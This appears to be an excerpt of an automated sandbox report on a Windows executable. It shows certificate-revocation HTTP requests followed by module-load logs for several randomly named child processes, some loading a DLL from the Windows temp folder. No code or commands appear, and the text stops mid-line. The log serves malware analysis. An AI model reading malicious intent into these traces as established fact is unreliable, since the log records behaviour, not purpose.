==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 10:18:24 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 674 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 10:13:11 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 987 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 13469 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri 20 Oct 2023 10:15:46 GMT Expires: Fri 20 Oct 2023 11:05:46 GMT Cache-Control: public max-age=3000 Last-Modified: Fri 20 Oct 2023 08:54:39 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 833 with response body ==>3082349930823381020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri 20 Oct 2023 09:48:50 GMT Expires: Fri 20 Oct 2023 10:38:50 GMT Cache-Control: public max-age=3000 Age: 2449 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Cache-Control: max-age = 14400 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:48:50 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2449 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDLYsQ7yv2LMwmxOu34tlfG HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 10:29:33 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 7 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 12879 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri 20 Oct 2023 09:58:16 GMT Expires: Fri 20 Oct 2023 10:48:16 GMT Cache-Control: public max-age=3000 Age: 1884 Last-Modified: Fri 20 Oct 2023 07:54:54 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>3082324B30823133020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDD4iAmv7K7FRC9GgFEgKKE HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:59:34 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1806 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:34:42 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3300 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBM9NSid4pOvCr35n90pfXk%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:34:42 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3301 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDT17UIkLKbfRLCBYCPDA60 HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:34:00 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3344 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEG900DggyxtFEMtMHqJ9ous%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Fri 20 Oct 2023 09:32:50 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3417 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......3d:T95a7,"file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "file.exe" loaded module "KERNEL32" at base 771b0000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "file.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6ce10000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "aW5Tb54.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "aW5Tb54.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "aW5Tb54.exe" loaded module "KERNEL32" at base 771b0000 "aW5Tb54.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "aW5Tb54.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b910000 "aW5Tb54.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6b860000 "aW5Tb54.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "op9Jo62.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "op9Jo62.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "op9Jo62.exe" loaded module "KERNEL32" at base 771b0000 "op9Jo62.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "op9Jo62.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6ce10000 "op9Jo62.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "zt7vg41.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "zt7vg41.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "zt7vg41.exe" loaded module "KERNEL32" at base 771b0000 "zt7vg41.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "zt7vg41.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6b860000 "zt7vg41.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "ss3vj64.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "ss3vj64.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "ss3vj64.exe" loaded module "KERNEL32" at base 771b0000 "ss3vj64.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "ss3vj64.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6ce10000 "ss3vj64.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "Gj9uC90.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6b860000 "Gj9uC90.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "dm8Sa10.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "dm8Sa10.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "dm8Sa10.exe" loaded module "KERNEL32" at base 771b0000 "dm8Sa10.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "dm8Sa10.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6ce10000 "dm8Sa10.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "1wL27Vk7.exe" loaded module "VERSION.DLL" at base 74c50000 "1wL27Vk7.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "1wL27Vk7.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "1wL27Vk7.exe" loaded module "KERNEL32" at base 771b0000 "1wL27Vk7.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 652b0000 "1wL27Vk7.exe" loaded module "USER32.DLL" at base 75af0000 "1wL27Vk7.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "1wL27Vk7.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "1wL27Vk7.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "1wL27Vk7.exe" loaded module "MSCOREE.DLL" at base 725a0000 "1wL27Vk7.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "1wL27Vk7.exe" loaded module "PSAPI.DLL" at base 77060000 "1wL27Vk7.exe" loaded module "KERNEL32.DLL" at base 771b0000 "1wL27Vk7.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63ea0000 "1wL27Vk7.exe" loaded module "RPCRT4.DLL" at base 760d0000 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "1wL27Vk7.exe" loaded module "OLE32.DLL" at base 775b0000 "1wL27Vk7.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "1wL27Vk7.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73390000 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 6b800000 "1wL27Vk7.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 63440000 "1wL27Vk7.exe" loaded module "ADVAPI32.DLL" at base 77320000 "1wL27Vk7.exe" loaded module "SSPICLI.DLL" at base 75640000 "1wL27Vk7.exe" loaded module "ADVAPI32" at base 77320000 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "1wL27Vk7.exe" loaded module "NTDLL.DLL" at base 778b0000 "1wL27Vk7.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6b6a0000 "1wL27Vk7.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "2hc1372.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "2hc1372.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "2hc1372.exe" loaded module "KERNEL32" at base 771b0000 "2hc1372.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "2hc1372.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6b910000 "2hc1372.exe" loaded module "WS2_32.DLL" at base 77020000 "2hc1372.exe" loaded module "WINHTTP.DLL" at base 71b20000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 75180000 "2hc1372.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 75170000 "2hc1372.exe" loaded module "URLMON.DLL" at base 77450000 "2hc1372.exe" loaded module "IPHLPAPI.DLL" at base 73b10000 "2hc1372.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 72cc0000 "2hc1372.exe" loaded module "DNSAPI.DLL" at base 75040000 "2hc1372.exe" loaded module "RPCRT4.DLL" at base 760d0000 "2hc1372.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "2hc1372.exe" loaded module "DHCPCSVC6.DLL" at base 73a20000 "2hc1372.exe" loaded module "CLBCATQ.DLL" at base 77290000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6df30000 "2hc1372.exe" loaded module "OLE32.DLL" at base 775b0000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74ce0000 "2hc1372.exe" loaded module "RASADHLP.DLL" at base 71b80000 "2hc1372.exe" loaded module "DHCPCSVC.DLL" at base 73950000 "2hc1372.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75bc0000 "2hc1372.exe" loaded module "ADVAPI32.DLL" at base 77320000 "2hc1372.exe" loaded module "CRYPTSP.DLL" at base 751c0000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74f50000 "2hc1372.exe" loaded module "RPCRTREMOTE.DLL" at base 75750000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6d370000 "2hc1372.exe" loaded module "OLEAUT32.DLL" at base 77a60000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 77a60000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73a40000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 75e00000 "2hc1372.exe" loaded module "COMCTL32.DLL" at base 74600000 "2hc1372.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 77020000 "2hc1372.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "2hc1372.exe" loaded module "KERNEL32.DLL" at base 771b0000 "3di89sk.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "3di89sk.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "3di89sk.exe" loaded module "KERNEL32" at base 771b0000 "3di89sk.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "3di89sk.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 0 "3di89sk.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 75660000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "AppLaunch.exe" loaded module "KERNEL32" at base 771b0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 70bc0000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "4EM873Jt.exe" loaded module "KERNEL32" at base 771b0000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "4EM873Jt.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "4EM873Jt.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "4EM873Jt.exe" loaded module "MSCOREE.DLL" at base 725a0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "4EM873Jt.exe" loaded module "PSAPI.DLL" at base 77060000 "4EM873Jt.exe" loaded module "KERNEL32.DLL" at base 771b0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 63d50000 "4EM873Jt.exe" loaded module "RPCRT4.DLL" at base 760d0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "4EM873Jt.exe" loaded module "OLE32.DLL" at base 775b0000 "4EM873Jt.exe" loaded module "CRYPTBASE.DLL" at base 756b0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 742f0000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 73430000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 63cc0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 625a0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DRAWING\F7568D7F1B9D356F64779B4C0927CFB3\SYSTEM.DRAWING.NI.DLL" at base 63b10000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.WINDOWS.FORMS\C9A4CBC00F690A9E3CDDFC400F6E85BB\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 61730000 "4EM873Jt.exe" loaded module "ADVAPI32.DLL" at base 77320000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\UXTHEME.DLL" at base 0 "4EM873Jt.exe" loaded module "UXTHEME.DLL" at base 742f0000 "4EM873Jt.exe" loaded module "USER32.DLL" at base 75af0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 60f10000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 63a00000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 60790000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 6b810000 "4EM873Jt.exe" loaded module "NTDLL.DLL" at base 778b0000 "4EM873Jt.exe" loaded module "SHELL32.DLL" at base 763c0000 "4EM873Jt.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75bc0000 "4EM873Jt.exe" loaded module "PROFAPI.DLL" at base 757d0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "4EM873Jt.exe" loaded module "BCRYPT.DLL" at base 752d0000 "4EM873Jt.exe" loaded module "CRYPTSP.DLL" at base 751c0000 "4EM873Jt.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74f50000 "4EM873Jt.exe" loaded module "IMM32.DLL" at base 760b0000 "4EM873Jt.exe" loaded module "COMCTL32.DLL" at base 71f40000 "4EM873Jt.exe" loaded module "GDI32.DLL" at base 77070000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 635e0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5fb50000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5e760000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "4EM873Jt.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6bcc0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "4EM873Jt.exe" loaded module "SHLWAPI.DLL" at base 77a00000 "4EM873Jt.exe" loaded module "DWRITE.DLL" at base 634a0000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 759e0000 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "4EM873Jt.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5e5d0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5e4e0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "4EM873Jt.exe" loaded module "VERSION.DLL" at base 74c50000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.RUNTEB92AA12#\274E43040C8A7A02EF1065DB3283005A\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 5e200000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.IDENTITYMODEL\C2EF5BC545B98A289F02D0B3EDDBE280\SYSTEM.IDENTITYMODEL.NI.DLL" at base 5def0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SMDIAGNOSTICS\DC67DCB4B2FB4A3853D458CAB08561F0\SMDIAGNOSTICS.NI.DLL" at base 6b6a0000 "4EM873Jt.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.TRANSACTIONS\3D760B4A3260A41EF84A3FD866780980\SYSTEM.TRANSACTIONS.NI.DLL" at base 5d7e0000 "4EM873Jt.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 65e00000 "4EM873Jt.exe" loaded module 